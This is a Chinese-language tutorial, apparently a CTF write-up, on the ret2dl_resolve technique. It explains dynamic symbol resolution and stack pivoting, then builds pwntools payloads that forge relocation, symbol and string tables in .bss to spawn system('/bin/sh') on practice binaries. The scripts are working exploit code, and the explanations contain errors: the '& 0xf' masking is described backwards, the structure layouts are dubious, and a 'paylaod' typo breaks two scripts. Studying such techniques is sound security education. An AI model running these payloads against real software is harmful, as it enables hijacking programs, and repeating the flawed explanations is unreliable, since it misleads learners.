前言:
ret2dl_resolve 是一种利用漏洞进行攻击的技术,主要针对使用动态链接库的程序。它的核心原理是利用程序的重定位机制,通过构造特定的函数返回地址,来劫持控制流并执行攻击者选择的代码。以下是对 ret2dl_resolve 原理的详细解释:
ret2dl_resolve 攻击的基本思路是:
- 攻击者利用缓冲区溢出等漏洞,将控制流重定向到一个特定的地址,该地址指向 PLT 中的一个函数(通常是
dl_resolve
)。 - 当程序返回到这个地址时,它会调用
dl_resolve
,动态链接器会解析符号并返回实际地址。 - 攻击者可以通过提供特定的参数(如符号名),使得
dl_resolve
返回攻击者希望调用的任意函数的地址。
具体步骤如下:
-
确定目标函数 : 攻击者识别出想要调用的函数(例如,
system
函数)。 -
准备攻击载荷:
- 攻击者构造一个输入,使得输入中包含返回地址,指向 PLT 中的
dl_resolve
。 - 载荷中还需要包含目标函数的符号名(如
/bin/sh
)。
- 攻击者构造一个输入,使得输入中包含返回地址,指向 PLT 中的
-
触发漏洞: 将构造的载荷输入到程序中,触发缓冲区溢出或其他漏洞。
-
控制流重定向 : 当程序执行到返回指令时,它会返回到
dl_resolve
。 -
符号解析 :
dl_resolve
被调用,动态链接器解析符号并返回目标函数的地址。 -
执行目标函数: 最终,程序控制流被重定向到攻击者选择的函数,完成攻击。
地址获取:
要想理解这个,需要先手动完成对应的地址的查找过程,后续才能知道如何进行攻击:
当我们需要call put的时候,这个时候其对应的地址为plt的地址:
可以看到对应的地址为0x80483f0
这其中有几个参数需要注意:
relloc_arg:0x10
link_map:0x804a004
_dl_runtime_resolve地址:*(0x804a008)
上面jmp的地址0x804a014对应的是gotplt地址,其报存地址为0x80483f6,即当前命令的下一条地址。
查看gotplt表地址为0x804a000:
第一个link_map地址为GOTPLT的偏移+4地址为0xf7ffda30
_dl_runtime_resolve为GOTPLT的偏移+8地址为0xf7fdbeb0
查看link_map地址内容,解析如下
struct link_map {
struct link_map *l_next; // 指向下一个 link_map 结构的指针
struct link_map *l_prev; // 指向前一个 link_map 结构的指针
void *l_addr; // 共享库的基地址
char *l_name; // 共享库的名称(路径)
struct ElfW(Dyn) *l_ld; // 指向 ELF 动态段的指针
void *l_real; // 实际的共享库地址(可能用于不同的加载器)
void *l_reserved; // 保留字段,用于未来扩展
int l_refcount; // 引用计数,跟踪库的使用情况
// 可能还有其他字段,依赖于实现
};
对照表可以看到对应偏移为:
l_addr -> link_map+0x4
l_ld -> link_map+0x8 -> 0x8049f14
由于这里我们只获取当前elf的解析地址,所以我们不需要去解析其下一个link_map
对应的l_ld为0x8049f14,对应的区段为.dynamic
.dynamic 节包含动态链接器所需的信息,以便在程序运行时进行动态链接。这包括共享库的路径、重定位信息、符号表的地址等。
然后查看.dynamic对应的地址解析:
对应的我们需要关心STRTAB,SYMTAB,JMPREL
STRTAB: 存储符号名和其他字符串,支持符号表的名称查找。
SYMTAB: 存储符号的信息,提供符号的地址和类型等信息。
JMPREL: 存储跳转重定位信息,支持动态链接的函数调用。
这里我们对应上地址为
STRTAB -> 0x8048298
SYMTAB -> 0x80481d8
JMPREL -> 0x8048364
对应的我们可以从区段表中看到每个表对应的区段
上面我们得到了relloc_arg为0x10,这里需要计算对应的Elf32_Rel指针为rel.plt+relloc_arg
0x8048364+0x10 = 0x8048374
struct Rel {
Elf64_Addr r_offset; // 偏移量
Elf64_Xword r_info; // 类型和符号索引
};
参考上面的机构我们得到
r_offset -> 0x804a014
r_info -> 0x307
r_info 中提取的符号索引,通常是 r_info >> 8。
0x307>>8=3,然后SYMTAB 表起始0找到第三个0x8048208,并获取对应偏移0x1a
然后使用 STRTAB -> 0x8048298 + 偏移就可以得到对应的字符串地址
同样的 SYMTAB -> 0x80481d8中对应的第一位为偏移,第二位为对应的函数地址
查看导入函数有8个,正好为上面的8个,由于其为外部导入函数,所以地址为0
查看另外三个,可以看到对应的为其函数地址
在动态链接库查找该函数后,把地址赋值给rel.plt+relloc_arg的r_offset -> 0x804a014:指向对应got表的指针,赋值给GOT表后,把控制权返还给read。
执行完成后
然后我们需要了解下_dl_runtime_resolve函数,其底层调用的是_dl_fixup,其具体的执行过程如下:
-
获取重定位信息 在执行动态链接的程序时,_dl_fixup 首先会访问重定位表(如 JMPREL),获取需要重定位的符号信息。
-
解析符号名 对于每个重定位条目,_dl_fixup 会提取符号索引,并使用该索引在符号表(SYMTAB)中查找符号名。这通常使用字符串表(STRTAB)来获取实际的符号名称。
-
查找符号地址 一旦得到了符号名,_dl_fixup 将在加载的共享库中查找该符号的地址。这一过程通常由动态链接器完成,动态链接器会访问符号哈希表(如 DT_HASH)以快速定位符号。
-
更新跳转表 找到符号地址后,_dl_fixup 会将该地址更新到过程链接表(PLT)或其他需要重定位的地址。这使得后续对该函数的调用可以正确地跳转到动态库中加载的实现。
利用:
所以以上可以知道_dl_fixup和我们上述的过程一样获取到了puts函数名称后,会通过这个符号名获取到其对应lib下的真实地址,然后更新GOT表下对应函数的指针即可
所以理论上我们只要能修改.dynstr对应的函数名称就可以完成对不同函数地址的索引,但是dynstr是不可写的,所以我们没有办法通过修改dynstr来达到获取任意函数地址的想法
所以需要我们伪造rel.plt表和symtab表,并且修改reloc_argc,让重定位函数解析我们伪造的结构体,借此修改符号解析的位置,首先为了更好的控制栈,我们需要重新申请一片可写地址构建栈
修改栈顶:
使用命令ROPgadget --binary ciscn_2019_es_2 |grep leave
leave 指令用于清理当前函数的栈帧。它的主要功能是将栈指针恢复到调用函数的状态,并释放局部变量的空间。
leave = mov esp, ebp; pop ebp;
mov esp, ebp: 将栈指针 (esp) 设置为基指针 (ebp),准备返回到调用者的栈帧。
pop ebp: ebp 寄存器的值被更新为调用者栈帧的基指针,且esp+4指向返回地址;
ret从栈中弹出返回地址,将其加载到指令指针(EIP)中,并跳转。
寄存器ebp,基址寄存器,也叫做栈底寄存器。
寄存器esp,是栈顶寄存器。
正常情况下执行到ret的时候,esp指向的数据弹入ebp,ebp中存的数据改变,因而指向了父函数的栈底,又由于pop指令除了弹出数据外还会将esp的指向下移,所以esp此时指向了函数的正常返回地址
esp保存的为跳转地址,ebp保存的为父函数栈底地址,即:
ret执行结束跳转到esp:0x0804862a地址,并且父函数栈底为ebp:0xffffcef8 -> 0xffffcf10
并且对应的0xffffcf10-0x4的位置就是下一个返回地址
所以进行改造,我们需要将返回地址设置为我们需要返回的地址,并且将栈底修改到可控的栈地址中,即esp为0x8048562,esp-0x4即栈底位置修改到执行栈空间中,这里只要我们能获取到当前使用的栈地址,就可以使用leave和ret跳转到指定地址
此处我们设置如下payload:
payload = b'aaaa' + p32(system_addr) + p32(0xdeadbeef) + p32(buf_addr + 0x10) + b'/bin/sh\0' + b'\0' * (0x28 - 4 * 4 - 8) + p32(buf_addr) + p32(leave_ret)
当执行完p32(leave_ret)即leave后,esp=ebp+0x4(父函数返回地址),ebp指向0xffa096f0->0x61616161
由此我们可以看到我们在覆盖栈的时候我们需要覆盖父函数地址和对应的父函数栈底地址,对应为esp和esp-4地址
跳转bss段:
为了更直观的感受,这里用xdctf2015_pwn200进行讲解
溢出过程就不讲解了,主要讲解栈的布置,首先我们要调用read,将我们的payload写入到指定地址,这里为bss段,然后通过调用链最终跳转到bss段的payload的代码执行,测试代码如下
from pwn import *
context.log_level = 'debug'
conn = process('./bof')
elf = ELF('./bof')
read = elf.plt['read']
bss = 0x0804a028
stack_size = 0x800
fake_stack = bss + stack_size
# gadgets
pop_3time = 0x08048629 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x0804862b # pop ebp ; ret
leave_ret = 0x08048445 #leave ; ret
# stack pivoting
gdb.attach(conn, 'b *(0x08048517)')
conn.recvuntil(b'2015~!\n')
payload = cyclic(0x6c + 0x4)
payload += p32(read) + p32(pop_3time) + p32(0) + p32(fake_stack) + p32(0x100)
payload += p32(pop_ebp_ret) + p32(fake_stack-4) + p32(leave_ret)
conn.sendline(payload)
conn.interactive()
具体的执行流程如下:
1.0x8048390 read 其中0x8048629为执行完read返回地址,后面的p32(0) + p32(fake_stack) + p32(0x100)为对应的三个参数类似于read(0, &BSS, BufSize)
2.此处会等待获取输入数据,此时我们输入aaaaaaa
3.0x8048629 pop esi ; pop edi ; pop ebp ; ret 此处主要为了跳过read中的三个参数
4.0x804862b pop ebp ; ret 此处主要将0x0804a824地址放入ebp中
5.0x8048445 leave ; ret (mov esp, ebp; pop ebp; ret)最后将0x0804a824传入esp,执行pop ebp,此时esp+4为0x0804a828为返回地址,正好跳入bss区段中
调用write函数:
通过上述的方法我们就可以调用到第二个payload,就是我们放到bss段中的代码,下面我们可以编写一个write打印指定字符串
首先我们用最简单的方法调用write,直接通过plt获取地址
# 1
# write binsh
write = elf.plt['write']
payload = p32(write) + p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()
查看bss段可以看到具体执行write(1,*0x804a8a8,0x8),由于bss区段地址固定,我们可以很好的构建出参数地址
利用plt调用_dl_runtime_resolve:
下面我们使用_dl_runtime_resolve来动态调用write
plt = 0x08048370 # the addr of .plt section
payload = p32(plt) + p32(0x20)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()
正常来说应该首先跳转到write的PLT地址,然后push 0x20,此时relloc_arg为0x20,然后jmp到_dl_runtime_resolve:
我们这里由于提前push了0x20 所以可以跳过上面的这步,直接跳转到_dl_runtime_resolve地址,如何获取_dl_runtime_resolve地址,只需要调用plt地址,进入_dl_runtime_resolve函数后为我们配置的参数_dl_runtime_resolve(0x20,0),其中0也为完成的返回地址
Elf32_Rel指针为rel.plt+relloc_arg,即0x08048324 + 0x20 = 0x08048344
0x607>>8=6,然后SYMTAB 表0x080481cc起始0找到第六个0x804822c,并获取对应偏移0x4c
STRTAB -> 0x0804826c + 偏移就可以得到对应的字符串地址
伪造.rel.plt:
在伪造.rel.plt前我们首先要了解其结构,其存储跳转重定位信息
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;
然后我们查看对应的信息
可以看到地址为0x804a01c info为0x607
由于relloc_arg为0x20,Elf32_Rel指针为rel.plt+relloc_arg,所以我们需要伪造Elf32_Rel的时候需要fake_stack + 24 - rel.plt其中24为bss的偏移
这样我们便伪造了 Elf32_Rel,执行时候会跳转到我们伪造的Elf32_Rel,然后获取info为0x607,然后0x607>>8=6,然后SYMTAB 表0x080481cc起始0找到第六个0x804822c,并获取对应偏移0x4c,最后STRTAB -> 0x0804826c + 0x4c就可以得到对应的write字符串地址
伪造SYMTAB:
伪造SYMTAB,就是为了让relloc_arg偏移+SYMTAB为我们的BSS地址,由于SYMTAB没有越界检查,所以我们可以使其跳转到我们的bss段
dynsym = 0x080481cc
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])
fake_write_sym = flat([0x4c, 0, 0, 0x12])
payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel # fake write reloc
payload += cyclic(align)
paylaod += fake_write_sym
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
其中注意align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf),由于SYMTAB是16字节对齐,必须使其跳转到的地址为16字节对齐后的数据
这段代码中的 & 0xf
操作是为了计算 fake_stack + 32 - dynsym
的地址与 16 字节对齐后的偏移量。 具体原理如下:
& 0xf
是一个按位与运算,它将fake_stack + 32 - dynsym
的二进制表示与0xf
(即 1111) 进行按位与运算。0xf
的二进制表示为1111
,它可以用来屏蔽掉fake_stack + 32 - dynsym
的低四位。- 按位与运算的结果将保留
fake_stack + 32 - dynsym
的高位,并将低四位清零。
最后计算的r_info为(fake_stack + 32 + align - dynsym)<< 8 | 0x7 这里是否| 0x7不会影响最后>>8的结果,| 0x7:将低 8 位设置为 0x07,仅表示特定的重定位类型
通过我们构造的r_info,就会跳转到我们自己定义的fake_write_sym = flat([0x4c, 0, 0, 0x12]),进而去STRTAB -> 0x0804826c + 0x4c就可以得到对应的write字符串地址
伪造STRTAB:
下面就是需要伪造具体的字符串地址
dynsym = 0x080481cc
dynstr = 0x0804826c
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])
payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel # fake write reloc
payload += cyclic(align)
paylaod += fake_write_sym
payload += b'write\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
这个就很好理解了,主要就是如下两行代码
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])
SYMTAB为0x10大小,所以需要+0x10
最后执行STRTAB -> 0x0804826c + fake_sym_addr + 0x10 - 0x0804826c 就可以跳转到我们bss段中的write字符串
这就可以完整的伪造了.rel.plt,SYMTAB,STRTAB三个表,通过write字符串获取对应的地址并通过ROP调用
最后就是把write字符串换成system就并且修改为system调用函数就完成了payload的构建,可以调用执行命令
dynsym = 0x080481cc
dynstr = 0x0804826c
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
st_name = fake_sym_addr + 0x10 - dynstr
fakse_write_sym = flat([st_name, 0, 0, 0x12])
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = p32(st_name) + p32(0) + p32(0) + p32(r_info)
payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(fake_stack+0x80) + p32(0x0) + p32(0)
payload += fake_write_rel # fake write reloc
payload += cyclic(align)
payload += fake_write_sym
payload += b'system\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
总结:
总结一下其实我们就是伪造.rel.plt,SYMTAB,STRTAB三个表,
1.首先需要确定是否为Full RELRO禁用延迟绑定,如果是则无法利用该方法,否则可以使用,
2.需要通过漏洞调用read方法将我们的payload写入bss段,然后跳转到bss段执行
3.然后首先需要跳转到plt即调用_dl_runtime_resolve方法,然后通过计算将relloc_arg设置为我们bss段的伪造的Elf32_Rel
4.然后需要伪造SYMTAB,需要我们将伪造的Elf32_Rel中的r_info计算为刚好偏移到我们BSS段中伪造的SYMTAB表
5.然后伪造STRTAB,通过伪造SYMTAB的偏移地址到我们BSS段payload的system字符串地址即可
6.最后添加system(const char * command)调用参数即/bin/sh,就完成了通过system字符串获取对应地址并传入参数并执行